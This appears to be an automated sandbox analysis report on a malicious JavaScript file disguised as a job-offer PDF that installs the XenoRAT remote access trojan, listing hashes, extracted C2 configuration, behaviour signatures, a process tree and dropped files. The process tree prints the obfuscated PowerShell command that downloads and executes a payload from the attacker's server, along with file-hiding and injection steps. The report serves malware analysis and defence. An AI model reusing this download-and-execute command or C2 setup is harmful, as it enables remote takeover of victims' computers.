Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240709-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
  • submitted
    19-07-2024 19:21

General

  • Target

    job_offer_personal_profile.pdf.js

  • Size

    46KB

  • MD5

    4aa0d4b34e801f9e29a10988a5cb9d50

  • SHA1

    e8b266857a307c5ced537018138e82f8173331fc

  • SHA256

    97dabca268785ff70da0f954929ec7767861f9a72a61903bafb08691cbd8d1a0

  • SHA512

    c5e511587c2d3e63b661deaa27fdccb3122a8aaa5722573fdb9a2f3ccd901e9002007a4cee4cb76b0e9db13f56e99844d8d70f1690107a6540388c0a054d4187

  • SSDEEP

    768:e+2+2+w3C6+M3C6+M3C6+b3C6+aK3C6+wF3C6+DeV53C6+wn39OUz83C6+j8Gdsd:e11bC6xC6xC6AC6yC6FC6xC6zNO0wC6r

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://176.113.115.177/x/z.png

Extracted

Family

xenorat

C2

176.113.115.177

Mutex

RGHEHTJ4GEJHTJSHJAJHAJHA

Attributes
  • install_path

    nothingset

  • port

    4404

  • startup_name

    nothingset

Signatures

  • XenorRat

    XenorRat is a remote access trojan written in C#.

  • Blocklisted process makes network request 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Hide Artifacts: Hidden Files and Directories 1 TTPs 1 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Gathers network information 2 TTPs 2 IoCs

    Uses commandline utility to view network configuration.

  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
  • Modifies registry class 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Views/modifies file attributes 1 TTPs 1 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\job_offer_personal_profile.pdf.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:5112
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $c1='(N%ew-Obje%c%t Ne%t.W%e';$c4='bCl%ie%nt).Do%%wn%l%o';$c3='adS%tri%%ng(''h%tt%p:%%//17%%%6.1%13%.11%%5.1%%%77%/%x/z%.p%n%%%g'')';$TC=($c1,$c4,$c3 -Join '');$TC=$TC.replace('%','');I`E`X $TC|I`E`X
      2⤵
      • Blocklisted process makes network request
      • Adds Run key to start application
      • Suspicious use of SetThreadContext
      • Modifies registry class
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3260
      • C:\Windows\system32\ipconfig.exe
        "C:\Windows\system32\ipconfig.exe" /flushdns
        3⤵
        • Gathers network information
        PID:4836
      • C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe
        "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe" "C:\Users\Admin\AppData\Roaming\OSHA3885.pdf"
        3⤵
        • Checks processor information in registry
        • Modifies Internet Explorer settings
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of SetWindowsHookEx
        • Suspicious use of WriteProcessMemory
        PID:1796
        • C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
          "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --backgroundcolor=16514043
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:4396
          • C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
            "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=54135B211206AA72E1861C08A5F73A06 --mojo-platform-channel-handle=1748 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
            5⤵
              PID:1336
            • C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
              "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=renderer --disable-browser-side-navigation --disable-gpu-compositing --service-pipe-token=A0C1D51BEE60F53B747F8FEF45829F72 --lang=en-US --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --enable-pinch --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --enable-gpu-async-worker-context --content-image-texture-target=0,0,3553;0,1,3553;0,2,3553;0,3,3553;0,4,3553;0,5,3553;0,6,3553;0,7,3553;0,8,3553;0,9,3553;0,10,3553;0,11,3553;0,12,3553;0,13,3553;0,14,3553;0,15,3553;0,16,3553;0,17,3553;0,18,3553;1,0,3553;1,1,3553;1,2,3553;1,3,3553;1,4,3553;1,5,3553;1,6,3553;1,7,3553;1,8,3553;1,9,3553;1,10,3553;1,11,3553;1,12,3553;1,13,3553;1,14,3553;1,15,3553;1,16,3553;1,17,3553;1,18,3553;2,0,3553;2,1,3553;2,2,3553;2,3,3553;2,4,3553;2,5,3553;2,6,3553;2,7,3553;2,8,3553;2,9,3553;2,10,3553;2,11,3553;2,12,3553;2,13,3553;2,14,3553;2,15,3553;2,16,3553;2,17,3553;2,18,3553;3,0,3553;3,1,3553;3,2,3553;3,3,3553;3,4,3553;3,5,3553;3,6,3553;3,7,3553;3,8,3553;3,9,3553;3,10,3553;3,11,3553;3,12,3553;3,13,3553;3,14,3553;3,15,3553;3,16,3553;3,17,3553;3,18,3553;4,0,3553;4,1,3553;4,2,3553;4,3,3553;4,4,3553;4,5,3553;4,6,3553;4,7,3553;4,8,3553;4,9,3553;4,10,3553;4,11,3553;4,12,3553;4,13,3553;4,14,3553;4,15,3553;4,16,3553;4,17,3553;4,18,3553;5,0,3553;5,1,3553;5,2,3553;5,3,3553;5,4,3553;5,5,3553;5,6,3553;5,7,3553;5,8,3553;5,9,3553;5,10,3553;5,11,3553;5,12,3553;5,13,3553;5,14,3553;5,15,3553;5,16,3553;5,17,3553;5,18,3553;6,0,3553;6,1,3553;6,2,3553;6,3,3553;6,4,3553;6,5,3553;6,6,3553;6,7,3553;6,8,3553;6,9,3553;6,10,3553;6,11,3553;6,12,3553;6,13,3553;6,14,3553;6,15,3553;6,16,3553;6,17,3553;6,18,3553 --disable-accelerated-video-decode --service-request-channel-token=A0C1D51BEE60F53B747F8FEF45829F72 --renderer-client-id=2 --mojo-platform-channel-handle=1756 --allow-no-sandbox-job /prefetch:1
              5⤵
                PID:1960
              • C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
                "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=F14B5D056BCD381CD1DC3591361FEA29 --mojo-platform-channel-handle=2288 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
                5⤵
                  PID:2500
                • C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
                  "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=14ADB5FCBA56E0B113A89E48E189F1F4 --mojo-platform-channel-handle=2424 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
                  5⤵
                    PID:4068
                  • C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
                    "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=renderer --disable-browser-side-navigation --disable-gpu-compositing --service-pipe-token=100E419552698514E4CA158992B94158 --lang=en-US --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --enable-pinch --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --enable-gpu-async-worker-context --content-image-texture-target=0,0,3553;0,1,3553;0,2,3553;0,3,3553;0,4,3553;0,5,3553;0,6,3553;0,7,3553;0,8,3553;0,9,3553;0,10,3553;0,11,3553;0,12,3553;0,13,3553;0,14,3553;0,15,3553;0,16,3553;0,17,3553;0,18,3553;1,0,3553;1,1,3553;1,2,3553;1,3,3553;1,4,3553;1,5,3553;1,6,3553;1,7,3553;1,8,3553;1,9,3553;1,10,3553;1,11,3553;1,12,3553;1,13,3553;1,14,3553;1,15,3553;1,16,3553;1,17,3553;1,18,3553;2,0,3553;2,1,3553;2,2,3553;2,3,3553;2,4,3553;2,5,3553;2,6,3553;2,7,3553;2,8,3553;2,9,3553;2,10,3553;2,11,3553;2,12,3553;2,13,3553;2,14,3553;2,15,3553;2,16,3553;2,17,3553;2,18,3553;3,0,3553;3,1,3553;3,2,3553;3,3,3553;3,4,3553;3,5,3553;3,6,3553;3,7,3553;3,8,3553;3,9,3553;3,10,3553;3,11,3553;3,12,3553;3,13,3553;3,14,3553;3,15,3553;3,16,3553;3,17,3553;3,18,3553;4,0,3553;4,1,3553;4,2,3553;4,3,3553;4,4,3553;4,5,3553;4,6,3553;4,7,3553;4,8,3553;4,9,3553;4,10,3553;4,11,3553;4,12,3553;4,13,3553;4,14,3553;4,15,3553;4,16,3553;4,17,3553;4,18,3553;5,0,3553;5,1,3553;5,2,3553;5,3,3553;5,4,3553;5,5,3553;5,6,3553;5,7,3553;5,8,3553;5,9,3553;5,10,3553;5,11,3553;5,12,3553;5,13,3553;5,14,3553;5,15,3553;5,16,3553;5,17,3553;5,18,3553;6,0,3553;6,1,3553;6,2,3553;6,3,3553;6,4,3553;6,5,3553;6,6,3553;6,7,3553;6,8,3553;6,9,3553;6,10,3553;6,11,3553;6,12,3553;6,13,3553;6,14,3553;6,15,3553;6,16,3553;6,17,3553;6,18,3553 --disable-accelerated-video-decode --service-request-channel-token=100E419552698514E4CA158992B94158 --renderer-client-id=6 --mojo-platform-channel-handle=2516 --allow-no-sandbox-job /prefetch:1
                    5⤵
                      PID:4888
                    • C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
                      "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=99BDF2D6B814A2CD5C847F66254B1F02 --mojo-platform-channel-handle=2760 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
                      5⤵
                        PID:1616
                  • C:\Windows\system32\cmd.exe
                    "C:\Windows\system32\cmd.exe" /c attrib +h C:\Users\Public\0x.log
                    3⤵
                    • Hide Artifacts: Hidden Files and Directories
                    PID:760
                    • C:\Windows\system32\attrib.exe
                      attrib +h C:\Users\Public\0x.log
                      4⤵
                      • Views/modifies file attributes
                      PID:2312
                  • C:\Windows\system32\ipconfig.exe
                    "C:\Windows\system32\ipconfig.exe" /flushdns
                    3⤵
                    • Gathers network information
                    PID:620
                  • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
                    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
                    3⤵
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of AdjustPrivilegeToken
                    PID:3388
              • C:\Windows\System32\CompPkgSrv.exe
                C:\Windows\System32\CompPkgSrv.exe -Embedding
                1⤵
                  PID:4052

                Network

                MITRE ATT&CK Enterprise v15

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                • C:\Users\Admin\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

                  Filesize

                  64KB

                  MD5

                  616e6bb1863feb2170aca7a12a1c4742

                  SHA1

                  662049b8ea0f715a513d0efb79837e5c63d058a3

                  SHA256

                  b78bdf89fa9765d48ac70c143f9278829b9fa5ea1072ea96143f3e6a01007fea

                  SHA512

                  b6698bad512a3bab4be629f32fa5c08cf732d4872107d06c9a4a8511aa504bf8fe973ae1ad1374054de932f3b566dc86659b6ce52d91670b49180c3b1d2bf41a

                • C:\Users\Admin\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

                  Filesize

                  36KB

                  MD5

                  b30d3becc8731792523d599d949e63f5

                  SHA1

                  19350257e42d7aee17fb3bf139a9d3adb330fad4

                  SHA256

                  b1b77e96279ead2b460de3de70e2ea4f5ad1b853598a4e27a5caf3f1a32cc4f3

                  SHA512

                  523f54895fb07f62b9a5f72c8b62e83d4d9506bda57b183818615f6eb7286e3b9c5a50409bc5c5164867c3ccdeae88aa395ecca6bc7e36d991552f857510792e

                • C:\Users\Admin\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

                  Filesize

                  56KB

                  MD5

                  752a1f26b18748311b691c7d8fc20633

                  SHA1

                  c1f8e83eebc1cc1e9b88c773338eb09ff82ab862

                  SHA256

                  111dac2948e4cecb10b0d2e10d8afaa663d78d643826b592d6414a1fd77cc131

                  SHA512

                  a2f5f262faf2c3e9756da94b2c47787ce3a9391b5bd53581578aa9a764449e114836704d6dec4aadc097fed4c818831baa11affa1eb25be2bfad9349bb090fe5

                • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_jafqmtsy.lad.ps1

                  Filesize

                  60B

                  MD5

                  d17fe0a3f47be24a6453e9ef58c94641

                  SHA1

                  6ab83620379fc69f80c0242105ddffd7d98d5d9d

                  SHA256

                  96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                  SHA512

                  5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                • C:\Users\Admin\AppData\Roaming\OSHA3885.pdf

                  Filesize

                  1.5MB

                  MD5

                  6d55147f6c828cc25ac58547c6a4532b

                  SHA1

                  484fa4662063be6fd86fc17ed4cda2e455312295

                  SHA256

                  66c44042b1608c7bdcd16be4cfa169426485258613f8f86703550811f255f828

                  SHA512

                  ac84ca7c4867ff704cfcb59d4b5eff1e9697b37447bd50fda6ebfe6198642de2c48fd494ed4dd81c9a1fee171cc029c5e4aff45f836256f79c6ea3b6b13eaf95

                • C:\Users\Public\0x.log

                  Filesize

                  94KB

                  MD5

                  221bae885f4eaac29602dad1c523ec14

                  SHA1

                  121c3f85ea26a86a7d058f9c04bc2ac826005c61

                  SHA256

                  75205b562bd838a17280a747905825dd39948aa464279407851469715711f7dd

                  SHA512

                  08903b1911e9bbd4a10ce14ab3d1c59fb24dce60b730190799d6c37bb68461d774c9c09c5fab17e10fdd5457bb05f2441d6a7e05ed861c52bf5c720b67c7ff96

                • memory/3260-11-0x00007FF846610000-0x00007FF8470D1000-memory.dmp

                  Filesize

                  10.8MB

                • memory/3260-28-0x00000243B7E10000-0x00000243B7E1E000-memory.dmp

                  Filesize

                  56KB

                • memory/3260-39-0x00007FF846610000-0x00007FF8470D1000-memory.dmp

                  Filesize

                  10.8MB

                • memory/3260-12-0x00007FF846610000-0x00007FF8470D1000-memory.dmp

                  Filesize

                  10.8MB

                • memory/3260-0-0x00007FF846613000-0x00007FF846615000-memory.dmp

                  Filesize

                  8KB

                • memory/3260-6-0x000002439F180000-0x000002439F1A2000-memory.dmp

                  Filesize

                  136KB

                • memory/3388-29-0x0000000000400000-0x0000000000412000-memory.dmp

                  Filesize

                  72KB

                • memory/3388-41-0x0000000005F30000-0x0000000005F96000-memory.dmp

                  Filesize

                  408KB